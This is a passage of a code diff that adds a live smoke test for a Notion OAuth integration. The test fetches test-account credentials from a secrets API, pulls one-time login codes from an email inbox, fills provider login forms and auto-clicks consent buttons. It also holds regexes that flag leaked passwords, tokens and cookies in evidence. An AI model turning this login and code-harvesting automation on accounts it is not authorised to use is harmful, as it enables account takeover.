key.","ai","anthropic.com",["https://api.anthropic.com/*"],method("api-key","rest_api","api_key",{serviceHost:"api.anthropic.com"},"S3","Create a key in the Anthropic Console and rotate it if it has been exposed.",{credentialFields:[field("apiKey","API key","sk-ant-api03-...")],keyPlacement:{location:"header",name:"x-api-key"}})], -].map(([slug,name,description,category,domain,urlPatterns,m,extra={}])=>({schemaVersion:1,slug,name,description,categories:[category],featured:["zapier","github","slack","notion","linear"].includes(slug),branding:{logoUrl:favicon(domain)},urlPatterns,methods:[m],...extra})); +].map(([slug,name,description,category,domain,urlPatterns,m,extra={}])=>({schemaVersion:1,slug,name,description,categories:[category],featured:["zapier","github","slack","notion","posthog","linear"].includes(slug),branding:{logoUrl:favicon(domain)},urlPatterns,methods:Array.isArray(m)?m:[m],...extra})); const parseTableRow=(line)=>line.slice(1,-1).split("|").map((cell)=>cell.trim()); const parseCapture=(fileName)=>{ const markdown=fs.readFileSync(path.join(corpus,fileName),"utf8"); diff --git a/scripts/smoke/notion-generic-live-lib.mjs b/scripts/smoke/notion-generic-live-lib.mjs new file mode 100644 index 0000000000..511a865049 --- /dev/null +++ b/scripts/smoke/notion-generic-live-lib.mjs @@ -0,0 +1,469 @@ +const REQUIRED_ENVIRONMENT = [ + "PAPERCLIP_E2E_BASE_URL", + "PAPERCLIP_E2E_EMAIL", + "PAPERCLIP_DEV_LOGIN_PASSWORD", + "PAPERCLIP_API_URL", + "PAPERCLIP_API_KEY", + "PAPERCLIP_RUN_ID", + "PAPERCLIP_TASK_ID", +]; + +// Agent secret APIs expose access.notion_generic_flow_test_account under this +// normalized delivery key; the live harness never reads any other binding. +export const NOTION_SECRET_BINDING_KEY = "generic-flow-test-account"; + +const NOTION_LOGIN_MAIL_DOMAINS = ["notion.so", "makenotion.com"]; + +export class NotionGenericLivePreflightError extends Error { + constructor(code, details = {}) { + super(code); + this.name = "NotionGenericLivePreflightError"; + this.code = code; + this.details = details; + } +} + +function emailDomain(value) { + const match = String(value ?? "").match(/@([A-Za-z0-9.-]+)/); + return match?.[1]?.toLowerCase().replace(/\.$/, "") ?? ""; +} + +function notionMailDomain(value) { + const domain = emailDomain(value); + return NOTION_LOGIN_MAIL_DOMAINS.some((allowed) => domain === allowed || domain.endsWith(`.${allowed}`)); +} + +export function isFreshNotionVerificationMessage(message, { notBefore }) { + const timestamp = new Date(message?.timestamp ?? message?.createdAt ?? Number.NaN).getTime(); + const lowerSubject = String(message?.subject ?? "").toLowerCase(); + const challengeSubject = /(?:login|verification|one[-\s]?time|temporary|security).*(?:code|pin)|(?:code|pin).*(?:login|verification|one[-\s]?time|temporary|security)/i.test(lowerSubject); + return notionMailDomain(message?.from) + && challengeSubject + && Number.isFinite(timestamp) + && timestamp >= new Date(notBefore).getTime(); +} + +export function notionVerificationAuthenticationPassed(message) { + const headers = message?.headers && typeof message.headers === "object" && !Array.isArray(message.headers) + ? message.headers + : {}; + const authentication = Object.entries(headers) + .filter(([key]) => key.toLowerCase().includes("authentication-results")) + .map(([, value]) => String(value).toLowerCase()) + .join(" "); + return authentication.includes("dkim=pass") + && (authentication.includes("dmarc=pass") + || authentication.includes("spf=pass") + || authentication.includes("arc=pass")); +} + +export function extractNotionVerificationCode(message) { + const content = [ + message?.subject, + message?.extractedText, + message?.text, + message?.extractedHtml, + message?.html, + ] + .filter((value) => typeof value === "string") + .join("\n") + .replace(/<[^>]+>/g, " "); + const digitSequence = "([0-9](?:[\\s-]?[0-9]){5})"; + const patterns = [ + new RegExp(`(?:login|verification|one[-\\s]?time|temporary|security)[^\\n]{0,40}(?:code|pin)[^0-9]{0,40}${digitSequence}`, "gi"), + new RegExp(`(?:code|pin)[^0-9]{0,40}${digitSequence}`, "gi"), + new RegExp(`${digitSequence}[^\\n]{0,40}(?:login|verification|one[-\\s]?time|temporary|security)?[^\\n]{0,20}(?:code|pin)`, "gi"), + ]; + const codes = new Set(); + for (const pattern of patterns) { + for (const match of content.matchAll(pattern)) { + const code = match[1].replace(/[^0-9]/g, ""); + if (code.length === 6) codes.add(code); + } + } + for (const label of content.matchAll(/(?:code|pin)/gi)) { + const window = content.slice(label.index, label.index + 120); + for (const match of window.matchAll(/(^|[^0-9])([0-9](?:[\s-]?[0-9]){5})(?![0-9])/g)) { + codes.add(match[2].replace(/[^0-9]/g, "")); + } + } + return codes.size === 1 ? [...codes][0] : null; +} + +function requiredValue(environment, key) { + const value = environment[key]; + return typeof value === "string" ? value.trim() : ""; +} + +function explicitHttpsOrigin(raw, code) { + let value; + try { + value = new URL(raw); + } catch { + throw new NotionGenericLivePreflightError(code); + } + if (value.protocol !== "https:" + || value.username + || value.password + || value.search + || value.hash + || (value.pathname !== "/" && value.pathname !== "/api" && value.pathname !== "/api/")) { + throw new NotionGenericLivePreflightError(code); + } + return value; +} + +export function preflightNotionGenericLive(environment = process.env) { + const missing = REQUIRED_ENVIRONMENT.filter((key) => requiredValue(environment, key) === ""); + if (missing.length > 0) { + throw new NotionGenericLivePreflightError("missing_environment", { missing }); + } + + const base = explicitHttpsOrigin(requiredValue(environment, "PAPERCLIP_E2E_BASE_URL"), "unsafe_base_url"); + const api = explicitHttpsOrigin(requiredValue(environment, "PAPERCLIP_API_URL"), "unsafe_api_url"); + + const email = requiredValue(environment, "PAPERCLIP_E2E_EMAIL"); + if (!email.includes("@")) throw new NotionGenericLivePreflightError("invalid_paperclip_email"); + + return { + baseUrl: base.origin, + apiBaseUrl: `${api.origin}/api`, + callbackUrl: `${base.origin}/api/tools/oauth/callback`, + paperclipEmail: email, + paperclipPassword: environment.PAPERCLIP_DEV_LOGIN_PASSWORD, + agentApiKey: environment.PAPERCLIP_API_KEY, + runId: environment.PAPERCLIP_RUN_ID, + taskId: environment.PAPERCLIP_TASK_ID, + secretBindingKey: NOTION_SECRET_BINDING_KEY, + }; +} + +async function responseJson(response, code) { + try { + return await response.json(); + } catch { + throw new NotionGenericLivePreflightError(code); + } +} + +async function fetchWithTimeout(fetchImpl, url, init) { + try { + return await fetchImpl(url, { ...init, signal: AbortSignal.timeout(15_000) }); + } catch { + throw new NotionGenericLivePreflightError("request_failed"); + } +} + +export async function prepareNotionGenericLiveSmoke({ + environment = process.env, + fetchImpl = globalThis.fetch, + loadBrowser, +}) { + const config = preflightNotionGenericLive(environment); + const healthResponse = await fetchWithTimeout( + fetchImpl, + new URL("/api/health", config.baseUrl), + { headers: { accept: "application/json" } }, + ); + if (!healthResponse.ok) { + throw new NotionGenericLivePreflightError("health_http_error", { status: healthResponse.status }); + } + const health = await responseJson(healthResponse, "health_invalid_json"); + if (health?.status !== "ok") throw new NotionGenericLivePreflightError("health_not_ok"); + + const secretsResponse = await fetchWithTimeout( + fetchImpl, + `${config.apiBaseUrl}/agents/me/secrets`, + { + headers: { + accept: "application/json", + authorization: `Bearer ${config.agentApiKey}`, + }, + }, + ); + if (!secretsResponse.ok) { + throw new NotionGenericLivePreflightError("secret_metadata_http_error", { status: secretsResponse.status }); + } + const secretMetadata = await responseJson(secretsResponse, "secret_metadata_invalid_json"); + const available = Array.isArray(secretMetadata?.secrets) + && secretMetadata.secrets.some((entry) => entry?.key === config.secretBindingKey && entry?.delivery === "api"); + if (!available) throw new NotionGenericLivePreflightError("secret_binding_unavailable"); + + return { config, browserModule: await loadBrowser() }; +} + +export async function fetchNotionTestCredentials(config, fetchImpl = globalThis.fetch) { + const response = await fetchWithTimeout( + fetchImpl, + `${config.apiBaseUrl}/agents/me/secrets/${encodeURIComponent(config.secretBindingKey)}/value`, + { + method: "POST", + headers: { + accept: "application/json", + authorization: `Bearer ${config.agentApiKey}`, + }, + }, + ); + if (!response.ok) { + throw new NotionGenericLivePreflightError("secret_value_http_error", { status: response.status }); + } + const body = await responseJson(response, "secret_value_invalid_json"); + if (typeof body?.value !== "string") { + throw new NotionGenericLivePreflightError("secret_value_missing"); + } + let credential; + try { + credential = JSON.parse(body.value); + } catch { + throw new NotionGenericLivePreflightError("secret_value_invalid_shape"); + } + const username = [credential?.email, credential?.username, credential?.login] + .find((value) => typeof value === "string" && value.trim()); + const password = typeof credential?.password === "string" ? credential.password : ""; + if (!username || !password) { + throw new NotionGenericLivePreflightError("secret_value_invalid_shape"); + } + return { username: username.trim(), password }; +} + +export function assertAutomaticRegistrationSource(source) { + if (source !== "cimd" && source !== "dcr") { + throw new NotionGenericLivePreflightError("unexpected_registration_source"); + } + return source; +} + +export function persistedOAuthStartResult(connection, authorizationUrl) { + const cleanAuthorizationUrl = typeof authorizationUrl === "string" ? authorizationUrl.trim() : ""; + const oauth = connection?.config?.oauth; + if (!connection?.id || !cleanAuthorizationUrl || !oauth || typeof oauth !== "object" || Array.isArray(oauth)) { + return null; + } + return { + connectionId: connection.id, + authorizationUrl: cleanAuthorizationUrl, + registrationSource: oauth.clientRegistrationSource ?? null, + issuer: oauth.issuer ?? null, + resource: oauth.resource ?? null, + }; +} + +function nonNegativeInteger(value) { + return Number.isInteger(value) && value >= 0; +} + +/** + * Normalize the server's sanitized removal receipt. Partial-flow cleanup may + * legitimately remove zero installs or credentials; the completed smoke uses + * the stricter mode to prove the installed/authenticated state was revoked. + */ +export function connectionRemovalFacts(receipt, { requireInstalled = false } = {}) { + if (!receipt || typeof receipt !== "object" || Array.isArray(receipt)) return null; + const numericFields = [ + "installsRemoved", + "appProfileBindingsRemoved", + "credentialRefsCleared", + "secretsRevoked", + "secretBindingsRemoved", + "grantsRevoked", + "oauthStatesDiscarded", + "runtimeSlotsStopped", + ]; + if (numericFields.some((key) => !nonNegativeInteger(receipt[key]))) return null; + const credentialsRemoved = receipt.credentialRefsCleared + receipt.secretsRevoked; + if (!["absent", "deleted", "archived"].includes(receipt.appProfile)) return null; + if (requireInstalled && ( + receipt.installsRemoved !== 1 + || receipt.appProfileBindingsRemoved < 1 + || credentialsRemoved < 1 + || !["deleted", "archived"].includes(receipt.appProfile) + )) return null; + return { + credentialsRemoved, + secretBindingsRemoved: receipt.secretBindingsRemoved, + grantsRevoked: receipt.grantsRevoked, + accessBindingsRemoved: receipt.appProfileBindingsRemoved, + installsRemoved: receipt.installsRemoved, + oauthStatesDiscarded: receipt.oauthStatesDiscarded, + runtimeSlotsStopped: receipt.runtimeSlotsStopped, + appProfile: receipt.appProfile, + }; +} + +export function safeEndpointSummary(raw, label) { + let endpoint; + try { + endpoint = new URL(raw); + } catch { + throw new NotionGenericLivePreflightError(`unsafe_${label}_endpoint`); + } + if (endpoint.protocol !== "https:" + || endpoint.username + || endpoint.password + || endpoint.search + || endpoint.hash) { + throw new NotionGenericLivePreflightError(`unsafe_${label}_endpoint`); + } + return { origin: endpoint.origin, path: endpoint.pathname }; +} + +export function inspectAuthorizationUrl(raw, { + callbackUrl, + resource, + registrationSource, + baseUrl, +}) { + let target; + try { + target = new URL(raw); + } catch { + throw new NotionGenericLivePreflightError("unsafe_authorization_endpoint"); + } + if (target.protocol !== "https:" || target.username || target.password || target.hash) { + throw new NotionGenericLivePreflightError("unsafe_authorization_endpoint"); + } + const required = ["client_id", "state", "code_challenge", "redirect_uri", "resource"]; + if (required.some((key) => !target.searchParams.get(key))) { + throw new NotionGenericLivePreflightError("authorization_parameter_missing"); + } + if (target.searchParams.get("code_challenge_method") !== "S256") { + throw new NotionGenericLivePreflightError("pkce_s256_missing"); + } + if (target.searchParams.get("redirect_uri") !== callbackUrl) { + throw new NotionGenericLivePreflightError("callback_uri_mismatch"); + } + if (target.searchParams.get("resource") !== resource) { + throw new NotionGenericLivePreflightError("resource_mismatch"); + } + if (target.searchParams.get("response_type") !== "code") { + throw new NotionGenericLivePreflightError("response_type_mismatch"); + } + if (registrationSource === "cimd") { + const expectedClientId = new URL("/api/tools/oauth/client-metadata", baseUrl).toString(); + if (target.searchParams.get("client_id") !== expectedClientId) { + throw new NotionGenericLivePreflightError("cimd_client_id_mismatch"); + } + } + return { + endpoint: { origin: target.origin, path: target.pathname }, + parameters: { + clientId: true, + state: true, + pkceS256: true, + callbackUri: true, + resource: true, + }, + }; +} + +function parsedJsonString(value) { + const trimmed = value.trim(); + if (trimmed.length === 0 || trimmed.length > 200_000) return null; + const fenced = trimmed.match(/^```(?:json)?\s*([\s\S]*?)\s*```$/i); + for (const candidate of fenced ? [fenced[1], trimmed] : [trimmed]) { + if (!candidate.startsWith("{") && !candidate.startsWith("[")) continue; + try { + return JSON.parse(candidate); + } catch { + // A later recursive branch may still contain structured content. + } + } + return null; +} + +export function extractNotionIdentity(value) { + const seen = new Set(); + const facts = { workspaceId: null, workspaceName: null, botId: null }; + const visit = (candidate, depth) => { + if (depth > 12 || candidate === null || candidate === undefined) return; + if (typeof candidate === "string") { + const parsed = parsedJsonString(candidate); + if (parsed !== null) visit(parsed, depth + 1); + return; + } + if (typeof candidate !== "object" || seen.has(candidate)) return; + seen.add(candidate); + if (!Array.isArray(candidate)) { + const workspaceId = candidate.workspace_id ?? candidate.workspaceId; + const workspaceName = candidate.workspace_name ?? candidate.workspaceName; + if (!facts.workspaceId && typeof workspaceId === "string" && workspaceId.trim()) facts.workspaceId = workspaceId.trim(); + if (!facts.workspaceName && typeof workspaceName === "string" && workspaceName.trim()) facts.workspaceName = workspaceName.trim(); + if (!facts.botId && candidate.type === "bot" && typeof candidate.id === "string" && candidate.id.trim()) { + facts.botId = candidate.id.trim(); + } + } + for (const child of Array.isArray(candidate) ? candidate : Object.values(candidate)) visit(child, depth + 1); + }; + visit(value, 0); + return (facts.workspaceId || facts.botId) && facts.workspaceName ? facts : null; +} + +export function parseSanitizedAgentProof(commentBody, expectedIdentity) { + if (typeof commentBody !== "string") return null; + const trimmed = commentBody.trim(); + const fenced = trimmed.match(/^```(?:json)?\s*([\s\S]*?)\s*```$/i); + let parsed; + try { + parsed = JSON.parse(fenced ? fenced[1] : trimmed); + } catch { + return null; + } + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return null; + if (Object.keys(parsed).sort().join(",") !== "invocationId,workspaceId,workspaceName") return null; + if (parsed.workspaceId !== expectedIdentity.workspaceId || parsed.workspaceName !== expectedIdentity.workspaceName) return null; + if (typeof parsed.invocationId !== "string" || !parsed.invocationId.trim()) return null; + return { + workspaceId: parsed.workspaceId, + workspaceName: parsed.workspaceName, + invocationId: parsed.invocationId.trim(), + }; +} + +export function parseRuntimeAbsenceProof(commentBody, connectionId) { + if (typeof commentBody !== "string") return null; + let parsed; + try { + parsed = JSON.parse(commentBody.trim()); + } catch { + return null; + } + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return null; + if (Object.keys(parsed).sort().join(",") !== "connectionId,toolPresent") return null; + return parsed.connectionId === connectionId && parsed.toolPresent === false + ? { connectionId, toolPresent: false } + : null; +} + +const FORBIDDEN_EVIDENCE_KEYS = /(?:password|access[_-]?token|refresh[_-]?token|authorization|cookie|oauth[_-]?code|client[_-]?secret|session)/i; +const FORBIDDEN_EVIDENCE_TEXT = /(?:authorization:\s*bearer|cookie:|[?&](?:code|state|token|access_token|refresh_token)=)/i; + +export function assertSanitizedEvidence(value) { + const seen = new Set(); + const visit = (candidate, path) => { + if (candidate === null || candidate === undefined) return; + if (typeof candidate === "string") { + if (FORBIDDEN_EVIDENCE_TEXT.test(candidate)) throw new Error(`unsafe_evidence_text:${path}`); + return; + } + if (typeof candidate !== "object" || seen.has(candidate)) return; + seen.add(candidate); + for (const [key, child] of Object.entries(candidate)) { + if (FORBIDDEN_EVIDENCE_KEYS.test(key)) throw new Error(`unsafe_evidence_key:${path}.${key}`); + visit(child, `${path}.${key}`); + } + }; + visit(value, "$"); +} + +export function preflightFailureMessage(error) { + if (!(error instanceof NotionGenericLivePreflightError)) { + return "Notion generic live smoke preflight failed."; + } + if (error.code === "missing_environment") { + return `Notion generic live smoke preflight failed: missing ${error.details.missing.join(", ")}.`; + } + if (error.code === "health_http_error") { + return `Notion generic live smoke preflight failed: /api/health returned HTTP ${error.details.status}.`; + } + return `Notion generic live smoke preflight failed: ${error.code}.`; +} diff --git a/scripts/smoke/notion-generic-live.mjs b/scripts/smoke/notion-generic-live.mjs new file mode 100644 index 0000000000..0e0927185b --- /dev/null +++ b/scripts/smoke/notion-generic-live.mjs @@ -0,0 +1,1179 @@ +#!/usr/bin/env node + +import { mkdir, writeFile } from "node:fs/promises"; +import path from "node:path"; +import { + assertAutomaticRegistrationSource, + assertSanitizedEvidence, + connectionRemovalFacts, + extractNotionIdentity, + extractNotionVerificationCode, + fetchNotionTestCredentials, + inspectAuthorizationUrl, + isFreshNotionVerificationMessage, + NotionGenericLivePreflightError, + notionVerificationAuthenticationPassed, + parseRuntimeAbsenceProof, + parseSanitizedAgentProof, + persistedOAuthStartResult, + preflightFailureMessage, + prepareNotionGenericLiveSmoke, + safeEndpointSummary, +} from "./notion-generic-live-lib.mjs"; + +const TARGET_COMPANY_PREFIX = "PAP"; +const TARGET_AGENT_NAME = "CodexCoderPro"; +const NOTION_RESOURCE = "https://mcp.notion.com/mcp"; +const NOTION_GET_SELF = "notion-get-self"; +const NOTION_CREATE_PAGES = "notion-create-pages"; +const DEFAULT_AGENT_TIMEOUT_MS = 15 * 60_000; +const DEFAULT_VERIFICATION_TIMEOUT_MS = 2 * 60_000; + +class SmokeFailure extends Error { + constructor(checkpoint, code) { + super(`${checkpoint}:${code}`); + this.name = "SmokeFailure"; + this.checkpoint = checkpoint; + this.code = code; + } +} + +function fail(checkpoint, code) { + throw new SmokeFailure(checkpoint, code); +} + +function asArray(value, key) { + if (Array.isArray(value)) return value; + if (value && typeof value === "object" && Array.isArray(value[key])) return value[key]; + return []; +} + +function escapeRegex(value) { + return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); +} + +function screenshotFile(outputDirectory, name) { + return path.join(outputDirectory, name); +} + +function assertNoCredentialMaterial(value, credentials, checkpoint) { + const serialized = JSON.stringify(value); + for (const credential of credentials) { + if (credential && serialized.includes(credential)) fail(checkpoint, "credential_material_visible"); + } + if (/[?&](?:code|state|access_token|refresh_token)=/i.test(serialized)) { + fail(checkpoint, "oauth_query_material_visible"); + } + const forbiddenValueKey = /^(?:password|accessToken|access_token|refreshToken|refresh_token|oauthCode|oauth_code|clientSecret|client_secret|cookie|authorizationHeader)$/i; + const visit = (candidate, seen = new Set()) => { + if (!candidate || typeof candidate !== "object" || seen.has(candidate)) return; + seen.add(candidate); + for (const [key, child] of Object.entries(candidate)) { + if (forbiddenValueKey.test(key) && child !== null && child !== "") { + fail(checkpoint, "raw_credential_field_visible"); + } + visit(child, seen); + } + }; + visit(value); +} + +function issueMutationHeaders(config, method, pathname) { + if (method === "GET" || !pathname.startsWith("/api/issues/")) return {}; + return { "X-Paperclip-Run-Id": config.runId }; +} + +async function apiJson(request, config, method, pathname, data, checkpoint, expectedStatuses = [200]) { + let response; + try { + response = await request.fetch(new URL(pathname, config.baseUrl).toString(), { + method, + ...(data === undefined ? {} : { data }), + headers: { + accept: "application/json", + ...(method === "GET" ? {} : { origin: config.baseUrl }), + ...issueMutationHeaders(config, method, pathname), + }, + timeout: 30_000, + }); + } catch { + fail(checkpoint, "request_failed"); + } + if (!expectedStatuses.includes(response.status())) { + fail(checkpoint, `http_${response.status()}`); + } + try { + return await response.json(); + } catch { + fail(checkpoint, "invalid_json"); + } +} + +async function waitFor(checkpoint, fn, { timeoutMs = 120_000, intervalMs = 2_000 } = {}) { + const deadline = Date.now() + timeoutMs; + let lastValue; + while (Date.now() < deadline) { + lastValue = await fn(); + if (lastValue) return lastValue; + await new Promise((resolve) => setTimeout(resolve, intervalMs)); + } + fail(checkpoint, "timed_out"); + return lastValue; +} + +async function expectVisible(locator, checkpoint, code, timeout = 30_000) { + try { + await locator.waitFor({ state: "visible", timeout }); + } catch { + fail(checkpoint, code); + } +} + +async function gotoWithVisibleMarker( + page, + url, + marker, + checkpoint, + code, + { attempts = 2, timeout = 15_000 } = {}, +) { + for (let attempt = 1; attempt <= attempts; attempt += 1) { + try { + const response = await page.goto(url, { waitUntil: "domcontentloaded" }); + if (response?.ok()) { + await marker().waitFor({ state: "visible", timeout }); + return; + } + } catch { + // A credential-free Paperclip navigation is safe to repeat once. Do not + // retry provider pages or any mutation from this helper. + } + if (attempt < attempts) await page.waitForTimeout(500); + } + fail(checkpoint, code); +} + +async function loginPaperclipBoard(page, context, config) { + const loginUrl = new URL("/auth?next=/", config.baseUrl).toString(); + for (let attempt = 1; attempt <= 2; attempt += 1) { + await gotoWithVisibleMarker( + page, + loginUrl, + () => page.getByLabel(/^email$/i), + "A.paperclip-login", + "email_field_missing", + ); + const paperclipEmailInput = page.getByLabel(/^email$/i); + const paperclipPasswordInput = page.getByLabel(/^password$/i); + await expectVisible(paperclipPasswordInput, "A.paperclip-login", "password_field_missing"); + await paperclipEmailInput.fill(config.paperclipEmail); + await paperclipPasswordInput.fill(config.paperclipPassword); + const loginResponsePromise = page.waitForResponse((response) => + response.request().method() === "POST" && new URL(response.url()).pathname === "/api/auth/sign-in/email", + ); + await page.getByRole("button", { name: /^sign in$/i }).click(); + const loginResponse = await loginResponsePromise; + if (!loginResponse.ok()) fail("A.paperclip-login", `http_${loginResponse.status()}`); + + // A redirect is a UI implementation detail; the authenticated session is + // the prerequisite the smoke actually needs. A successful sign-in response + // without a usable cookie has occurred intermittently through public dev + // proxies, so verify the cookie and repeat the idempotent sign-in once. + const session = await context.request.get(new URL("/api/auth/get-session", config.baseUrl).toString(), { + headers: { accept: "application/json" }, + }); + if (session.ok()) return; + if (attempt < 2) await page.waitForTimeout(500); + } + fail("A.paperclip-login", "session_cookie_missing"); +} + +async function clickVisibleButton(page, names) { + for (const name of names) { + const button = page.getByRole("button", { name, exact: false }).filter({ visible: true }).first(); + if (!await button.count()) continue; + try { + await button.click({ timeout: 2_000 }); + return true; + } catch { + // Provider pages replace controls while advancing between login steps. + } + } + return false; +} + +function verificationTimeoutMs() { + const configured = Number(process.env.NOTION_VERIFICATION_TIMEOUT_MS || DEFAULT_VERIFICATION_TIMEOUT_MS); + return Number.isFinite(configured) + ? Math.min(Math.max(configured, 30_000), 5 * 60_000) + : DEFAULT_VERIFICATION_TIMEOUT_MS; +} + +async function fetchNotionVerificationCodeFromAgentMail({ notBefore }) { + const apiKey = process.env.AGENTMAIL_API_KEY?.trim(); + const inboxId = process.env.NOTION_AGENTMAIL_INBOX_ID?.trim(); + if (!apiKey || !inboxId) fail("C.notion-login", "verification_inbox_unavailable"); + + let AgentMailClient; + try { + ({ AgentMailClient } = await import("agentmail")); + } catch { + fail("C.notion-login", "agentmail_sdk_unavailable"); + } + const client = new AgentMailClient({ apiKey }); + try { + const inbox = await client.inboxes.get(inboxId); + if (inbox.inboxId !== inboxId && inbox.email !== inboxId) { + fail("C.notion-login", "verification_inbox_mismatch"); + } + } catch (error) { + if (error instanceof SmokeFailure) throw error; + fail("C.notion-login", "verification_inbox_request_failed"); + } + + const deadline = Date.now() + verificationTimeoutMs(); + const after = new Date(new Date(notBefore).getTime() - 5_000); + while (Date.now() < deadline) { + try { + let pageToken; + let inspected = 0; + do { + const response = await client.inboxes.messages.list(inboxId, { + limit: 50, + after, + ...(pageToken ? { pageToken } : {}), + }); + for (const item of response.messages) { + inspected += 1; + if (!isFreshNotionVerificationMessage(item, { notBefore: after })) continue; + const message = await client.inboxes.messages.get(inboxId, item.messageId); + if (!notionVerificationAuthenticationPassed(message)) continue; + const code = extractNotionVerificationCode(message); + if (code) return code; + } + pageToken = response.nextPageToken; + } while (pageToken && inspected < 100); + } catch (error) { + if (error instanceof SmokeFailure) throw error; + fail("C.notion-login", "verification_inbox_request_failed"); + } + await new Promise((resolve) => setTimeout(resolve, 2_000)); + } + fail("C.notion-login", "verification_code_timed_out"); +} + +async function completeNotionAuthorization(page, config, credential, connectionId) { + const paperclipOrigin = new URL(config.baseUrl).origin; + const setupPath = `/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/setup`; + const deadline = Date.now() + 6 * 60_000; + const verificationNotBefore = new Date(); + let providerSeen = false; + let verificationCodeSubmitted = false; + while (Date.now() < deadline) { + let current; + try { + current = new URL(page.url()); + } catch { + fail("C.oauth-callback", "invalid_navigation_url"); + } + if (current.origin === paperclipOrigin) { + if (providerSeen && current.pathname === setupPath) return; + await page.waitForTimeout(300); + continue; + } + providerSeen = true; + + const bodyText = await page.locator("body").innerText().catch(() => ""); + if (/check your (?:email|inbox)|verification code|one-time code/i.test(bodyText)) { + if (verificationCodeSubmitted) fail("C.notion-login", "verification_code_rejected"); + const codeInput = page.locator([ + 'input[autocomplete="one-time-code"]', + 'input[name*="code" i]', + 'input[inputmode="numeric"]', + ].join(",")).filter({ visible: true }).first(); + if (!await codeInput.count()) { + await page.waitForTimeout(300); + continue; + } + let code = await fetchNotionVerificationCodeFromAgentMail({ notBefore: verificationNotBefore }); + await codeInput.fill(code); + code = ""; + if (!await clickVisibleButton(page, [/^verify$/i, /^continue$/i, /^submit$/i, /^sign in$/i])) { + await codeInput.press("Enter"); + } + verificationCodeSubmitted = true; + await page.waitForTimeout(600); + continue; + } + + const usernameInput = page.locator([ + 'input[type="email"]', + 'input[name="email"]', + 'input[name="username"]', + 'input[autocomplete="username"]', + ].join(",")).filter({ visible: true }).first(); + if (await usernameInput.count()) { + const currentValue = await usernameInput.inputValue().catch(() => ""); + if (!currentValue) await usernameInput.fill(credential.username); + } + + const passwordInput = page.locator([ + 'input[type="password"]', + 'input[name="password"]', + 'input[autocomplete="current-password"]', + ].join(",")).filter({ visible: true }).first(); + if (await passwordInput.count()) { + const currentValue = await passwordInput.inputValue().catch(() => ""); + if (!currentValue) await passwordInput.fill(credential.password); + await clickVisibleButton(page, [/^sign in$/i, /^log in$/i, /^continue$/i]); + } else if (await usernameInput.count()) { + await clickVisibleButton(page, [/continue with email/i, /^continue$/i, /^next$/i, /^sign in$/i]); + } else { + await clickVisibleButton(page, [ + /^authorize$/i, + /^allow$/i, + /allow access/i, + /^approve$/i, + /^grant access$/i, + /^accept$/i, + /^continue$/i, + /^select$/i, + ]); + } + await page.waitForTimeout(600); + } + fail("C.oauth-callback", "provider_authorization_timed_out"); +} + +async function safeScreenshot(page, outputPath, config, credential, checkpoint) { + const current = new URL(page.url()); + if (current.origin !== new URL(config.baseUrl).origin) fail(checkpoint, "screenshot_not_on_paperclip"); + for (const queryKey of ["code", "state", "token", "access_token", "refresh_token"]) { + if (current.searchParams.has(queryKey)) fail(checkpoint, "credential_query_in_screenshot_url"); + } + const bodyText = await page.locator("body").innerText(); + if (bodyText.includes(config.paperclipPassword) + || bodyText.includes(credential.password) + || /[?&](?:code|state|access_token|refresh_token)=/i.test(bodyText)) { + fail(checkpoint, "credential_material_in_screenshot"); + } + await page.screenshot({ + path: outputPath, + fullPage: true, + animations: "disabled", + mask: [ + page.getByText(config.paperclipEmail, { exact: false }), + page.getByText(credential.username, { exact: false }), + ], + }); +} + +function assertGenericProvenance(connectResult, connectionName) { + if (connectResult?.application?.name !== connectionName) fail("B.generic-provenance", "application_name_mismatch"); + if (!String(connectResult?.application?.applicationKey ?? "").startsWith("app-gallery:link:")) { + fail("B.generic-provenance", "application_key_not_generic"); + } + if (connectResult?.application?.metadata?.source !== "link") fail("B.generic-provenance", "metadata_source_not_link"); + const config = connectResult?.connection?.config; + if (connectResult?.connection?.transport !== "mcp_remote" + || config?.url !== NOTION_RESOURCE + || config?.unverifiedServer !== true + || config?.galleryKey === "notion" + || config?.sourceTemplateKey === "notion") { + fail("B.generic-provenance", "connection_not_unverified_generic"); + } +} + +function oauthEndpointProof(connection, startResult, config) { + const source = assertAutomaticRegistrationSource(startResult.registrationSource); + const oauth = connection?.config?.oauth; + if (!oauth || typeof oauth !== "object" || Array.isArray(oauth)) fail("C.oauth-proof", "oauth_config_missing"); + if (connection.authKind !== "oauth" || oauth.clientRegistrationSource !== source) { + fail("C.oauth-proof", "registration_source_not_persisted"); + } + if (oauth.resource !== NOTION_RESOURCE || startResult.resource !== NOTION_RESOURCE) { + fail("C.oauth-proof", "resource_mismatch"); + } + if (oauth.clientRedirectUri !== config.callbackUrl) fail("C.oauth-proof", "client_callback_mismatch"); + if (source === "cimd" && oauth.clientIdMetadataDocumentSupported !== true) { + fail("C.oauth-proof", "cimd_support_not_persisted"); + } + const endpoints = { + issuer: safeEndpointSummary(oauth.issuer, "issuer"), + metadata: safeEndpointSummary(oauth.metadataUrl, "metadata"), + authorize: safeEndpointSummary(oauth.authorizationUrl, "authorize"), + exchange: safeEndpointSummary(oauth.tokenUrl, "exchange"), + ...(oauth.registrationUrl ? { registration: safeEndpointSummary(oauth.registrationUrl, "registration") } : {}), + }; + return { source, endpoints }; +} + +function catalogFacts(catalog, checkpoint) { + const active = catalog.filter((entry) => entry.status !== "removed"); + const getSelf = active.find((entry) => entry.toolName === NOTION_GET_SELF); + const createPages = active.find((entry) => entry.toolName === NOTION_CREATE_PAGES); + if (!getSelf || !getSelf.isReadOnly) fail(checkpoint, "notion_get_self_missing_or_not_read_only"); + if (!createPages || createPages.isReadOnly) fail(checkpoint, "notion_create_pages_missing_or_not_write"); + return { active, getSelf, createPages }; +} + +async function finishAgentOnlySetup(request, config, companyId, connectionId, catalog, agentId) { + const facts = catalogFacts(catalog, "D.catalog-policy"); + await apiJson( + request, + config, + "POST", + `/api/companies/${companyId}/tools/apps/${connectionId}/finish`, + { + enabledCatalogEntryIds: [facts.getSelf.id], + askFirstCatalogEntryIds: [], + reviewedCatalogEntryIds: facts.active + .filter((entry) => entry.status === "quarantined") + .map((entry) => entry.id), + access: { agentIds: [agentId] }, + }, + "D.catalog-policy", + ); + await apiJson( + request, + config, + "PUT", + `/api/tool-connections/${connectionId}/installs`, + { installs: [{ targetType: "agent", targetId: agentId }] }, + "D.agent-install", + ); + return facts; +} + +async function createAndWaitForProofIssue(request, config, input, checkpoint) { + const child = await apiJson( 